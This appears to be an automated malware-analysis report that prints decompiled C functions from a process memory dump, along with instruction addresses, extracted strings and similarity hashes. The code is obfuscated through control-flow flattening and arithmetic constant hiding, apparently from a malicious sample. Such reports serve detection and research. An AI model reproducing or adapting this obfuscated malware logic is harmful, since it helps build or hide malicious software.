									E00DA2EED(_v1612, _v1600, _v1620, _t572);
									_t577 = E00DB3306( &_v1564, _v1640, _v1648, _v1656, _t583, _v1788);
									_t668 = _t671 + 0x34;
									__eflags = _t577;
									if(__eflags == 0) {
										L12:
										_t663 = 0x396a438;
										while(1) {
											L1:
											_t556 = 0xd83910a;
											goto L2;
										}
									}
									_t556 = 0xd83910a;
									__eflags = _t661 - 0xd83910a;
									_t597 = 0xecce1ce;
									_t663 =  ==  ? 0xecce1ce : 0xa7e2b43;
									continue;
								}
								if(_t663 != _t597) {
									goto L21;
								}
								_push(_t597);
								_t579 = E00DA473A( &_v1580, _v1792, _v1584, _v1692, _v1736,  &_v1564, _v1644, _v1704);
								_t668 = _t668 + 0x20;
								if(_t579 != 0) {
									E00DA9038(_v1784, _v1716, _v1580, _v1760);
									E00DA9038(_v1596, _v1652, _v1576, _v1676);
									_t668 = _t668 + 0x10;
								}
								goto L12;
							}
							__eflags = _t661 - _t556;
							if(_t661 != _t556) {
								_t663 = 0xd093482;
								goto L21;
							}
							_push(_t597);
							_push(_v1772);
							_t564 = E00D97D87(_v1624, _v1724,  &_v1584, _t597);
							_t668 = _t668 + 0x14;
							__eflags = _t564;
							if(__eflags == 0) {
								goto L26;
							}
							_t663 = 0xd093482;
							goto L1;
							L21:
							__eflags = _t663 - 0xdeb83c1;
						} while (__eflags != 0);
						return _t556;
					}
				}
			}

0x00d96c04
0x00d96c0e
0x00d96c19
0x00d96c24
0x00d96c2f
0x00d96c37
0x00d96c3f
0x00d96c47
0x00d96c4c
0x00d96c54
0x00d96c5f
0x00d96c67
0x00d96c72
0x00d96c8a
0x00d96c8f
0x00d96c91
0x00d96c98
0x00d96c9d
0x00d96ca8
0x00d96cb0
0x00d96cb5
0x00d96cbd
0x00d96cc5
0x00d96cd3
0x00d96cd8
0x00d96cdc
0x00d96ceb
0x00d96cec
0x00d96cf0
0x00d96cf8
0x00d96d00
0x00d96d05
0x00d96d0d
0x00d96d15
0x00d96d1d
0x00d96d25
0x00d96d32
0x00d96d36
0x00d96d3e
0x00d96d54
0x00d96d5b
0x00d96d66
0x00d96d71
0x00d96d7c
0x00d96d87
0x00d96d8f
0x00d96d97
0x00d96d9f
0x00d96da7
0x00d96daf
0x00d96db7
0x00d96dca
0x00d96dce
0x00d96dd6
0x00d96de1
0x00d96de9
0x00d96df4
0x00d96dfc
0x00d96e04
0x00d96e0e
0x00d96e16
0x00d96e1e
0x00d96e29
0x00d96e34
0x00d96e3f
0x00d96e4a
0x00d96e52
0x00d96e5d
0x00d96e68
0x00d96e73
0x00d96e7b
0x00d96e86
0x00d96e95
0x00d96e98
0x00d96e9c
0x00d96ea9
0x00d96ead
0x00d96eb5
0x00d96ec0
0x00d96ecb
0x00d96ed6
0x00d96ee1
0x00d96eec
0x00d96ef7
0x00d96f02
0x00d96f0a
0x00d96f12
0x00d96f1a
0x00d96f22
0x00d96f2a
0x00d96f2f
0x00d96f3c
0x00d96f40
0x00d96f48
0x00d96f53
0x00d96f5e
0x00d96f69
0x00d96f7f
0x00d96f86
0x00d96f91
0x00d96f9c
0x00d96fa4
0x00d96faf
0x00d96fc1
0x00d96fc4
0x00d96fcb
0x00d96fd6
0x00d96fe1
0x00d96fec
0x00d96ff7
0x00d97002
0x00d9700d
0x00d97018
0x00d97020
0x00d9702d
0x00d97031
0x00d97039
0x00d97041
0x00d97049
0x00d97051
0x00d97056
0x00d9705e
0x00d97069
0x00d97074
0x00d9707c
0x00d97087
0x00d9708f
0x00d9709f
0x00d970a4
0x00d970ae
0x00d970b3
0x00d970b7
0x00d970bf
0x00d970ca
0x00d970d5
0x00d970e0
0x00d970e8
0x00d970f0
0x00d970f4
0x00d970fc
0x00d97104
0x00d97108
0x00d97110
0x00d97115
0x00d9711d
0x00d97125
0x00d97133
0x00d97138
0x00d9713c
0x00d97144
0x00d97152
0x00d97157
0x00d97162
0x00d97165
0x00d97171
0x00d97175
0x00d9717d
0x00d97193
0x00d9719a
0x00d971a5
0x00d971b0
0x00d971bb
0x00d971c6
0x00d971d8
0x00d971dd
0x00d971e6
0x00d971f1
0x00d971fc
0x00d97208
0x00d9720b
0x00d9720f
0x00d97217
0x00d9721f
0x00d97227
0x00d9722f
0x00d97237
0x00d9723f
0x00d97249
0x00d97256
0x00d97264
0x00d97269
0x00d9726d
0x00d97275
0x00d9727d
0x00d97285
0x00d9728d
0x00d97295
0x00d972a0
0x00d972a8
0x00d972b3
0x00d972bb
0x00d972c8
0x00d972cc
0x00d972d1
0x00d972d9
0x00d972e1
0x00d972ef
0x00d972f3
0x00d972fb
0x00d97303
0x00d9730b
0x00d97310
0x00d97318
0x00d97320
0x00d97328
0x00d97333
0x00d9733e
0x00d97346
0x00d97351
0x00d9735c
0x00d97364
0x00d9736f
0x00d9737a
0x00d97382
0x00d9738f
0x00d97393
0x00d9739b
0x00d973a3
0x00d973a7
0x00d973ac
0x00d973b4
0x00d973bc
0x00d973c7
0x00d973d2
0x00d973dd
0x00d973e8
0x00d973f3
0x00d973fe
0x00d97406
0x00d97411
0x00d97418
0x00d97418
0x00d97418
0x00d9741d
0x00d9741d
0x00d9741d
0x00d97422
0x00000000
0x00d97422
0x00d97430
0x00000000
0x00d9772d
0x00d9743c
0x00d9763b
0x00000000
0x00d9763b
0x00d97448
0x00d97616
0x00d97622
0x00d97629
0x00d9762e
0x00d97633
0x00d9741d
0x00d9741d
0x00000000
0x00d9741d
0x00d97454
0x00d97699
0x00d976a7
0x00d976a9
0x00d976aa
0x00d976b5
0x00d976b9
0x00d976c1
0x00d976c3
0x00d976c4
0x00d976cc
0x00d976ce
0x00d97738
0x00d97738
0x00d97738
0x00d976e3
0x00000000
0x00d97709
0x00d97460
0x00d9750c
0x00d9752c
0x00d97531
0x00d9753d
0x00d9754e
0x00d9755e
0x00d9759e
0x00d975bc
0x00d975e2
0x00d975e7
0x00d975ea
0x00d975ec
0x00d974e7
0x00d974e7
0x00d97418
0x00d97418
0x00d97418
0x00000000
0x00d97418
0x00d97418
0x00d975f2
0x00d975fc
0x00d975fe
0x00d97603
0x00000000
0x00d97603
0x00d97468
0x00000000
0x00000000
0x00d9746e
0x00d9749f
0x00d974a4
0x00d974a9
0x00d974be
0x00d974df
0x00d974e4
0x00d974e4
0x00000000
0x00d974a9
0x00d97645
0x00d97647
0x00d97683
0x00000000
0x00d97683
0x00d97649
0x00d9764a
0x00d97669
0x00d9766e
0x00d97671
0x00d97673
0x00000000
0x00000000
0x00d97679
0x00000000
0x00d97688
0x00d97688
0x00d97688
0x00000000
0x00d97422
0x00d9741d

Strings

/ow, xrefs: 00D970E0
_q, xrefs: 00D97442
}}, xrefs: 00D97351
$, xrefs: 00D970CA
?:=, xrefs: 00D97295
C+~, xrefs: 00D9744E
"., xrefs: 00D971A5
MW, xrefs: 00D97256
'CP, xrefs: 00D96CF8
}?r, xrefs: 00D96FF7
k8?N, xrefs: 00D96F40
_q, xrefs: 00D9763B
C+~, xrefs: 00D975F7
by, xrefs: 00D96D1D

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ".$'CP$/ow$?:=$C+~$C+~$MW$_q$_q$by$k8?N$}?r$}}$$
API String ID: 0-1854710511
Opcode ID: 362d4600e7df4bd53fb70d8fe4a8340a5828c4f09a30acb55a97e67633e01e4c
Instruction ID: 55c80e45d0f2c83f9146e9fbfc7f6c48be661a0a33b13d6af5d624e7f7e2d2e8
Opcode Fuzzy Hash: 362d4600e7df4bd53fb70d8fe4a8340a5828c4f09a30acb55a97e67633e01e4c
Instruction Fuzzy Hash: 454200B150C3818FD778CF65C54AA9BBBE2BBC5314F10891DE2DA96260D7B18909CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00DA3ABE, Relevance: 17.9, Strings: 14, Instructions: 354
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00DA3ABE() {
				char _v520;
				char _v1040;
				char _v1560;
				signed int _v1564;
				signed int _v1568;
				signed int _v1572;
				signed int _v1576;
				signed int _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				unsigned int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				void* _t366;
				signed int _t384;
				void* _t385;
				void* _t413;
				signed int _t422;
				intOrPtr* _t424;
				signed int _t425;
				signed int _t426;
				signed int _t427;
				signed int _t428;
				signed int _t429;
				signed int _t430;
				signed int _t431;
				signed int _t432;
				signed int _t434;
				signed int* _t435;
				void* _t437;

				_t435 =  &_v1720;
				_v1620 = 0x668385;
				_v1620 = _v1620 | 0x1e385418;
				_t385 = 0x69e6be1;
				_v1620 = _v1620 ^ 0x1e7ed7b4;
				_v1592 = 0xbd90f9;
				_v1592 = _v1592 ^ 0xbe5a7d98;
				_v1592 = _v1592 ^ 0xbee8ed5e;
				_v1568 = 0x3d8172;
				_t425 = 0x44;
				_v1568 = _v1568 / _t425;
				_v1568 = _v1568 ^ 0x0000e78e;
				_v1704 = 0x33329f;
				_t426 = 0x78;
				_v1576 = _v1576 & 0x00000000;
				_v1704 = _v1704 * 0x7a;
				_v1704 = _v1704 + 0x19e1;
				_v1704 = _v1704 << 2;
				_v1704 = _v1704 ^ 0x6198e69e;
				_v1700 = 0x4f7879;
				_v1700 = _v1700 ^ 0x068068af;
				_v1700 = _v1700 + 0xffffce8e;
				_v1700 = _v1700 / _t426;
				_v1700 = _v1700 ^ 0x000e8620;
				_v1708 = 0x211c1a;
				_v1708 = _v1708 + 0xf4aa;
				_v1708 = _v1708 ^ 0x94e44756;
				_v1708 = _v1708 << 0x10;
				_v1708 = _v1708 ^ 0x57920010;
				_v1636 = 0x4bfd4e;
				_v1636 = _v1636 + 0xffffda49;
				_v1636 = _v1636 << 0xa;
				_v1636 = _v1636 ^ 0x2f5a0b3c;
				_v1676 = 0xfcfb0f;
				_v1676 = _v1676 << 7;
				_v1676 = _v1676 >> 1;
				_v1676 = _v1676 ^ 0x3f3be9f2;
				_v1716 = 0xe94f3a;
				_v1716 = _v1716 + 0x398d;
				_t427 = 0x21;
				_v1716 = _v1716 / _t427;
				_t428 = 0x3d;
				_v1716 = _v1716 / _t428;
				_v1716 = _v1716 ^ 0x000241fc;
				_v1648 = 0xf37a20;
				_v1648 = _v1648 >> 0xf;
				_v1648 = _v1648 + 0xffff36a3;
				_v1648 = _v1648 ^ 0xfff985b4;
				_v1612 = 0xeb47bb;
				_v1612 = _v1612 >> 0xc;
				_v1612 = _v1612 ^ 0x000d65c2;
				_v1628 = 0xe61d50;
				_v1628 = _v1628 ^ 0xa9fbeeec;
				_v1628 = _v1628 | 0xe3d14da7;
				_v1628 = _v1628 ^ 0xebd6d513;
				_v1564 = 0xf3754;
				_v1564 = _v1564 << 0xd;
				_v1564 = _v1564 ^ 0xe6e10fa0;
				_v1672 = 0xc5ca9d;
				_v1672 = _v1672 + 0xffff8821;
				_v1672 = _v1672 >> 4;
				_v1672 = _v1672 ^ 0x000d1be5;
				_v1680 = 0xd5cdff;
				_v1680 = _v1680 + 0xffff8c76;
				_v1680 = _v1680 ^ 0x1718c905;
				_v1680 = _v1680 ^ 0x17c13aa7;
				_v1652 = 0x8270d6;
				_v1652 = _v1652 ^ 0x5839d95c;
				_v1652 = _v1652 << 0xf;
				_v1652 = _v1652 ^ 0xd4c474fb;
				_v1600 = 0x30b015;
				_v1600 = _v1600 << 9;
				_v1600 = _v1600 ^ 0x616fae71;
				_v1608 = 0xfce334;
				_t429 = 0x72;
				_v1608 = _v1608 / _t429;
				_v1608 = _v1608 ^ 0x000060cb;
				_v1616 = 0x11d4d7;
				_v1616 = _v1616 ^ 0x5fd5780f;
				_v1616 = _v1616 ^ 0x5fc8e652;
				_v1684 = 0xeae186;
				_v1684 = _v1684 + 0x6cbc;
				_v1684 = _v1684 << 9;
				_v1684 = _v1684 ^ 0xd691ca6c;
				_v1656 = 0xc19984;
				_v1656 = _v1656 + 0xed45;
				_v1656 = _v1656 + 0xffffc771;
				_v1656 = _v1656 ^ 0x00ce1f0e;
				_v1664 = 0x536949;
				_v1664 = _v1664 + 0xecba;
				_v1664 = _v1664 + 0xffffade4;
				_v1664 = _v1664 ^ 0x005726c6;
				_v1632 = 0xfb25c3;
				_v1632 = _v1632 ^ 0x0d3ffa7d;
				_v1632 = _v1632 | 0x8d26d07e;
				_v1632 = _v1632 ^ 0x8deecb7d;
				_v1640 = 0x964dcf;
				_v1640 = _v1640 ^ 0x9308e53b;
				_v1640 = _v1640 << 5;
				_v1640 = _v1640 ^ 0x73df8b4b;
				_v1696 = 0x1c5cfe;
				_t430 = 0x58;
				_v1696 = _v1696 / _t430;
				_v1696 = _v1696 << 0xb;
				_v1696 = _v1696 + 0x4083;
				_v1696 = _v1696 ^ 0x029255c4;
				_v1596 = 0x844d79;
				_t431 = 0x13;
				_v1596 = _v1596 / _t431;
				_v1596 = _v1596 ^ 0x000fd2a5;
				_v1712 = 0xaa53e9;
				_v1712 = _v1712 + 0x3fa;
				_v1712 = _v1712 << 0xd;
				_v1712 = _v1712 << 6;
				_v1712 = _v1712 ^ 0xbf135427;
				_v1660 = 0xae69d;
				_v1660 = _v1660 << 2;
				_v1660 = _v1660 + 0x7495;
				_v1660 = _v1660 ^ 0x00217c42;
				_v1644 = 0xb4b8b2;
				_t432 = 0x6d;
				_v1644 = _v1644 / _t432;
				_v1644 = _v1644 + 0x9ca2;
				_v1644 = _v1644 ^ 0x000f71e9;
				_v1720 = 0xeb9827;
				_v1720 = _v1720 ^ 0x1e223217;
				_v1720 = _v1720 + 0x18fd;
				_v1720 = _v1720 >> 2;
				_v1720 = _v1720 ^ 0x07b980eb;
				_v1692 = 0x11b265;
				_v1692 = _v1692 + 0xb6a4;
				_v1692 = _v1692 | 0x79b4443a;
				_v1692 = _v1692 >> 5;
				_v1692 = _v1692 ^ 0x03c68786;
				_v1604 = 0x89a26d;
				_v1604 = _v1604 + 0xffffbcd3;
				_v1604 = _v1604 ^ 0x008010cd;
				_v1588 = 0x82ceb0;
				_v1588 = _v1588 ^ 0xda580ff4;
				_v1588 = _v1588 ^ 0xdad52801;
				_v1688 = 0x8fa58e;
				_v1688 = _v1688 + 0xffffbc44;
				_v1688 = _v1688 + 0xcff1;
				_v1688 = _v1688 >> 0xf;
				_v1688 = _v1688 ^ 0x0005e60c;
				_v1572 = 0x2eab26;
				_v1572 = _v1572 | 0x36542239;
				_v1572 = _v1572 ^ 0x36742fed;
				_v1668 = 0x40cdab;
				_v1668 = _v1668 | 0x2a03d9d8;
				_v1668 = _v1668 << 0x10;
				_v1668 = _v1668 ^ 0xddf50159;
				_t434 = _v1576;
				_t384 = _v1576;
				_t422 = _v1576;
				_v1580 = 0x2cbee;
				_v1580 = _v1580 << 6;
				_v1580 = _v1580 ^ 0x00b1d723;
				_v1584 = 0x5c5bfd;
				_v1584 = _v1584 >> 5;
				_v1584 = _v1584 ^ 0x000d5e5b;
				_v1624 = 0x4ce735;
				_v1624 = _v1624 << 0xf;
				_v1624 = _v1624 + 0xffff05be;
				_v1624 = _v1624 ^ 0x7393a0f1;
				while(1) {
					L1:
					_t413 = 0x5c;
					do {
						while(1) {
							L2:
							_t437 = _t385 - 0x94d2245;
							if(_t437 > 0) {
								break;
							}
							if(_t437 == 0) {
								_t424 =  *0xdb5bd8 + 0x30;
								while(1) {
									__eflags =  *_t424 - _t413;
									if( *_t424 == _t413) {
										break;
									}
									_t424 = _t424 + 2;
									__eflags = _t424;
								}
								_t422 = _t424 + 2;
								_t385 = 0x95c790a;
								continue;
							} else {
								if(_t385 == 0x2370cca) {
									_t434 = E00DAE606(_v1696, _t422, _t385, _v1704, _v1596, _v1712, _t385, _v1660, _v1644, _t385, _v1568, _t385, _v1720,  &_v520, _v1692, _v1708, _v1700, _t422, _t384, _t385, _v1604);
									_t435 =  &(_t435[0x13]);
									__eflags = _t434;
									if(_t434 == 0) {
										goto L10;
									} else {
										_t385 = 0xd3e2153;
										_v1576 = 1;
										while(1) {
											L1:
											_t413 = 0x5c;
											goto L2;
										}
									}
								} else {
									if(_t385 == 0x3b57a48) {
										E00D97CC1(_t384, _v1584, _v1624);
									} else {
										if(_t385 == 0x5337573) {
											E00D97CC1(_t434, _v1668, _v1580);
											L10:
											_t385 = 0x3b57a48;
											while(1) {
												L1:
												_t413 = 0x5c;
												goto L2;
											}
										} else {
											if(_t385 != 0x69e6be1) {
												goto L25;
											} else {
												_push(_t385);
												E00D9E259(_v1636, _v1620, _v1676, _v1716, _t385, _t385,  &_v1560, _v1648, _v1612);
												_t435 =  &(_t435[8]);
												_t385 = 0xa1bcbfc;
												while(1) {
													L1:
													_t413 = 0x5c;
													goto L2;
												}
											}
										}
									}
								}
							}
							L28:
							return _v1576;
						}
						__eflags = _t385 - 0x95c790a;
						if(_t385 == 0x95c790a) {
							_t384 = E00DB3231(_v1632, _v1592, _v1640);
							_t435 =  &(_t435[3]);
							__eflags = _t384;
							if(_t384 == 0) {
								_t385 = 0xde41895;
								_t413 = 0x5c;
								goto L25;
							} else {
								_t385 = 0x2370cca;
								goto L1;
							}
						} else {
							__eflags = _t385 - 0xa1bcbfc;
							if(__eflags == 0) {
								_push(0xd9144c);
								_t366 = E00DB0AD3(_v1628, _v1564, __eflags);
								E00DB2C16( &_v1040, __eflags);
								E00DAB062( &_v520, __eflags,  *0xdb5bd8 + 0x238, _v1680, _v1652, _t366, _v1600, 0x104, _v1608,  *0xdb5bd8 + 0x30,  &_v1040,  &_v1560, _v1616);
								E00DA2EED(_v1684, _v1656, _v1664, _t366);
								_t435 =  &(_t435[0xe]);
								_t385 = 0x94d2245;
								while(1) {
									L1:
									_t413 = 0x5c;
									goto L2;
								}
							} else {
								__eflags = _t385 - 0xd3e2153;
								if(_t385 != 0xd3e2153) {
									goto L25;
								} else {
									E00DA3130(_t384, _t434, _v1688, _v1572);
									_t435 =  &(_t435[3]);
									_t385 = 0x5337573;
									while(1) {
										L1:
										_t413 = 0x5c;
										goto L2;
									}
								}
							}
						}
						goto L28;
						L25:
						__eflags = _t385 - 0xde41895;
					} while (_t385 != 0xde41895);
					goto L28;
				}
			}

0x00da3abe
0x00da3ac4
0x00da3ace
0x00da3ad6
0x00da3adb
0x00da3ae3
0x00da3aee
0x00da3af9
0x00da3b04
0x00da3b1c
0x00da3b21
0x00da3b2a
0x00da3b35
0x00da3b42
0x00da3b45
0x00da3b4d
0x00da3b51
0x00da3b59
0x00da3b5e
0x00da3b66
0x00da3b6e
0x00da3b76
0x00da3b86
0x00da3b8a
0x00da3b92
0x00da3b9a
0x00da3ba2
0x00da3baa
0x00da3baf
0x00da3bb7
0x00da3bbf
0x00da3bc7
0x00da3bcc
0x00da3bd4
0x00da3bdc
0x00da3be1
0x00da3be5
0x00da3bed
0x00da3bf5
0x00da3c01
0x00da3c06
0x00da3c10
0x00da3c13
0x00da3c17
0x00da3c1f
0x00da3c27
0x00da3c2c
0x00da3c34
0x00da3c3c
0x00da3c44
0x00da3c49
0x00da3c51
0x00da3c59
0x00da3c61
0x00da3c69
0x00da3c71
0x00da3c7c
0x00da3c84
0x00da3c8f
0x00da3c97
0x00da3c9f
0x00da3ca4
0x00da3cae
0x00da3cb6
0x00da3cbe
0x00da3cc6
0x00da3cce
0x00da3cd6
0x00da3cde
0x00da3ce3
0x00da3ceb
0x00da3cf6
0x00da3cfe
0x00da3d09
0x00da3d1d
0x00da3d22
0x00da3d2b
0x00da3d36
0x00da3d3e
0x00da3d46
0x00da3d4e
0x00da3d56
0x00da3d5e
0x00da3d63
0x00da3d6b
0x00da3d73
0x00da3d7b
0x00da3d83
0x00da3d8b
0x00da3d93
0x00da3d9b
0x00da3da3
0x00da3dab
0x00da3db3
0x00da3dbb
0x00da3dc3
0x00da3dcb
0x00da3dd3
0x00da3ddb
0x00da3de0
0x00da3de8
0x00da3df4
0x00da3df9
0x00da3dff
0x00da3e04
0x00da3e0c
0x00da3e14
0x00da3e26
0x00da3e2b
0x00da3e34
0x00da3e3f
0x00da3e47
0x00da3e4f
0x00da3e54
0x00da3e59
0x00da3e61
0x00da3e69
0x00da3e6e
0x00da3e76
0x00da3e7e
0x00da3e8a
0x00da3e8d
0x00da3e91
0x00da3e99
0x00da3ea1
0x00da3ea9
0x00da3eb1
0x00da3eb9
0x00da3ebe
0x00da3ec6
0x00da3ece
0x00da3ed6
0x00da3ede
0x00da3ee3
0x00da3eeb
0x00da3ef6
0x00da3f01
0x00da3f0c
0x00da3f17
0x00da3f22
0x00da3f2d
0x00da3f35
0x00da3f3d
0x00da3f45
0x00da3f4a
0x00da3f52
0x00da3f5d
0x00da3f68
0x00da3f73
0x00da3f7b
0x00da3f83
0x00da3f88
0x00da3f90
0x00da3f97
0x00da3f9e
0x00da3fa5
0x00da3fb0
0x00da3fb8
0x00da3fc3
0x00da3fce
0x00da3fd6
0x00da3fe1
0x00da3fe9
0x00da3fee
0x00da3ff6
0x00da3ffe
0x00da3ffe
0x00da4000
0x00da4001
0x00da4001
0x00da4001
0x00da4001
0x00da4007
0x00000000
0x00000000
0x00da400d
0x00da410c
0x00da4114
0x00da4114
0x00da4117
0x00000000
0x00000000
0x00da4111
0x00da4111
0x00da4111
0x00da4119
0x00da411c
0x00000000
0x00da4013
0x00da4019
0x00da40e8
0x00da40ea
0x00da40ed
0x00da40ef
0x00000000
0x00da40f1
0x00da40f1
0x00da40f6
0x00da3ffe
0x00da3ffe
0x00da4000
0x00000000
0x00da4000
0x00da3ffe
0x00da401b
0x00da4021
0x00da4250
0x00da4027
0x00da402d
0x00da4083
0x00da4089
0x00da4089
0x00da3ffe
0x00da3ffe
0x00da4000
0x00000000
0x00da4000
0x00da402f
0x00da4035
0x00000000
0x00da403b
0x00da403b
0x00da4067
0x00da406c
0x00da406f
0x00da3ffe
0x00da3ffe
0x00da4000
0x00000000
0x00da4000
0x00da3ffe
0x00da4035
0x00da402d
0x00da4021
0x00da4019
0x00da4256
0x00da4267
0x00da4267
0x00da4126
0x00da412c
0x00da421a
0x00da421c
0x00da421f
0x00da4221
0x00da422f
0x00da4234
0x00000000
0x00da4223
0x00da4223
0x00000000
0x00da4223
0x00da4132
0x00da4132
0x00da4138
0x00da4178
0x00da417d
0x00da418b
0x00da41df
0x00da41f4
0x00da41f9
0x00da41fc
0x00da3ffe
0x00da3ffe
0x00da4000
0x00000000
0x00da4000
0x00da413a
0x00da413a
0x00da4140
0x00000000
0x00da4146
0x00da415b
0x00da4160
0x00da4163
0x00da3ffe
0x00da3ffe
0x00da4000
0x00000000
0x00da4000
0x00da3ffe
0x00da4140
0x00da4138
0x00000000
0x00da4235
0x00da4235
0x00da4235
0x00000000
0x00da4241

Strings

IiS, xrefs: 00DA3D8B
E, xrefs: 00DA3D73
yxO, xrefs: 00DA3B66
y\, xrefs: 00DA4126
E"M, xrefs: 00DA41FC
E"M, xrefs: 00DA4001
/t6, xrefs: 00DA3F68
:O, xrefs: 00DA3BED
y\, xrefs: 00DA411C
5L, xrefs: 00DA3FE1
B|!, xrefs: 00DA3E76
S!>, xrefs: 00DA40F1
S!>, xrefs: 00DA413A
[^, xrefs: 00DA3FD6

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: y\$y\$5L$:O$B|!$E"M$E"M$E$IiS$S!>$S!>$[^$yxO$/t6
API String ID: 0-1388136749
Opcode ID: bedef94ab776be2b8d61201c9065d7fc6a47d3d75d6f6b97caf4367094c45c24
Instruction ID: e7a5dc28e8121798ee111feb30f4b318ffe751ec5ee8fdd72e2b96fd4fc1149b
Opcode Fuzzy Hash: bedef94ab776be2b8d61201c9065d7fc6a47d3d75d6f6b97caf4367094c45c24
Instruction Fuzzy Hash: 330244B15083809FD3A8CF61C54AA5BBBE1FBD5358F10891CF2DA86260C7B58949CF57

Uniqueness

Uniqueness Score: -1.00%

Function 00DA4DC5, Relevance: 15.4, Strings: 12, Instructions: 423
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E00DA4DC5(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v256;
				char _v260;
				char _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				char _v280;
				char _v284;
				char _v288;
				char _v292;
				char _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				unsigned int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				unsigned int _v444;
				signed int _v448;
				void* _t395;
				void* _t428;
				intOrPtr _t431;
				void* _t436;
				void* _t445;
				void* _t447;
				intOrPtr _t452;
				void* _t457;
				char _t459;
				void* _t462;
				intOrPtr _t465;
				intOrPtr _t468;
				void* _t476;
				intOrPtr _t500;
				void* _t511;
				signed int _t512;
				signed int _t513;
				signed int _t514;
				signed int _t515;
				signed int _t516;
				signed int _t517;
				signed int _t518;
				signed int _t519;
				signed int _t520;
				void* _t521;
				signed int* _t524;
				void* _t528;

				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E00D98002(_t395);
				_v272 = 0x5a47d6;
				_v268 = 0xcdc82b;
				_t524 =  &(( &_v448)[7]);
				_v264 = 0;
				_v260 = 0;
				_t459 = 0;
				_v380 = 0x9af564;
				_t462 = 0x9b977d1;
				_v380 = _v380 | 0xf74b0d84;
				_v380 = _v380 ^ 0xf7dca480;
				_v344 = 0x540e9c;
				_v344 = _v344 << 0xa;
				_v344 = _v344 + 0xe1d3;
				_v344 = _v344 ^ 0x503abdcd;
				_v328 = 0xf12931;
				_v328 = _v328 ^ 0xa94b556c;
				_v328 = _v328 ^ 0xa9bd52be;
				_v312 = 0x15bd18;
				_v312 = _v312 + 0x6a68;
				_v312 = _v312 ^ 0x00142ff3;
				_v400 = 0xf8b297;
				_v400 = _v400 + 0x5900;
				_v400 = _v400 ^ 0x448368c2;
				_v400 = _v400 << 0xe;
				_v400 = _v400 ^ 0x98da3f37;
				_v408 = 0x455919;
				_v408 = _v408 ^ 0xe2f437fc;
				_v408 = _v408 + 0x7be8;
				_t512 = 7;
				_v408 = _v408 * 0x79;
				_v408 = _v408 ^ 0x2610f865;
				_v336 = 0xe9e066;
				_v336 = _v336 ^ 0x491e36a5;
				_v336 = _v336 + 0x9cb6;
				_v336 = _v336 ^ 0x49ffae15;
				_v404 = 0x424109;
				_v404 = _v404 ^ 0xd76d8019;
				_v404 = _v404 ^ 0x92772264;
				_v404 = _v404 + 0xb73f;
				_v404 = _v404 ^ 0x455d24f6;
				_v444 = 0x8359bf;
				_v444 = _v444 << 0xc;
				_v444 = _v444 ^ 0x2ccbcef6;
				_v444 = _v444 >> 0xa;
				_v444 = _v444 ^ 0x000364ce;
				_v348 = 0xc8c19d;
				_v348 = _v348 | 0xc8237a79;
				_v348 = _v348 + 0xffff77b1;
				_v348 = _v348 ^ 0xc8e5237e;
				_v324 = 0x586a31;
				_v324 = _v324 ^ 0x6ef7158d;
				_v324 = _v324 ^ 0x6ea50117;
				_v332 = 0x1aea29;
				_v332 = _v332 >> 4;
				_v332 = _v332 ^ 0x0007a663;
				_v320 = 0x2348f9;
				_v320 = _v320 / _t512;
				_v320 = _v320 ^ 0x0006b713;
				_v416 = 0xd6b60d;
				_v416 = _v416 >> 1;
				_t513 = 0x35;
				_v416 = _v416 / _t513;
				_v416 = _v416 >> 4;
				_v416 = _v416 ^ 0x000e647a;
				_v304 = 0x2421ff;
				_v304 = _v304 | 0xdd5513fd;
				_v304 = _v304 ^ 0xdd7f87c6;
				_v376 = 0x30f67f;
				_v376 = _v376 + 0xffff5f71;
				_t514 = 0x71;
				_v376 = _v376 * 0x5a;
				_v376 = _v376 ^ 0x10f37e1a;
				_v424 = 0x471699;
				_v424 = _v424 * 0x69;
				_v424 = _v424 + 0xffffda63;
				_v424 = _v424 << 1;
				_v424 = _v424 ^ 0x3a5a74b6;
				_v432 = 0x460bc5;
				_v432 = _v432 / _t514;
				_t515 = 0x21;
				_v432 = _v432 * 0x72;
				_v432 = _v432 ^ 0xdf4a5a43;
				_v432 = _v432 ^ 0xdf02b34f;
				_v440 = 0xb2e4bc;
				_v440 = _v440 >> 0xd;
				_v440 = _v440 | 0xfa76fd7d;
				_v440 = _v440 ^ 0xfa7dfc63;
				_v384 = 0x24910;
				_v384 = _v384 | 0xf5288b13;
				_v384 = _v384 + 0x6fdd;
				_v384 = _v384 ^ 0xf52d2ab6;
				_v300 = 0x92d249;
				_v300 = _v300 + 0xe9aa;
				_v300 = _v300 ^ 0x00915407;
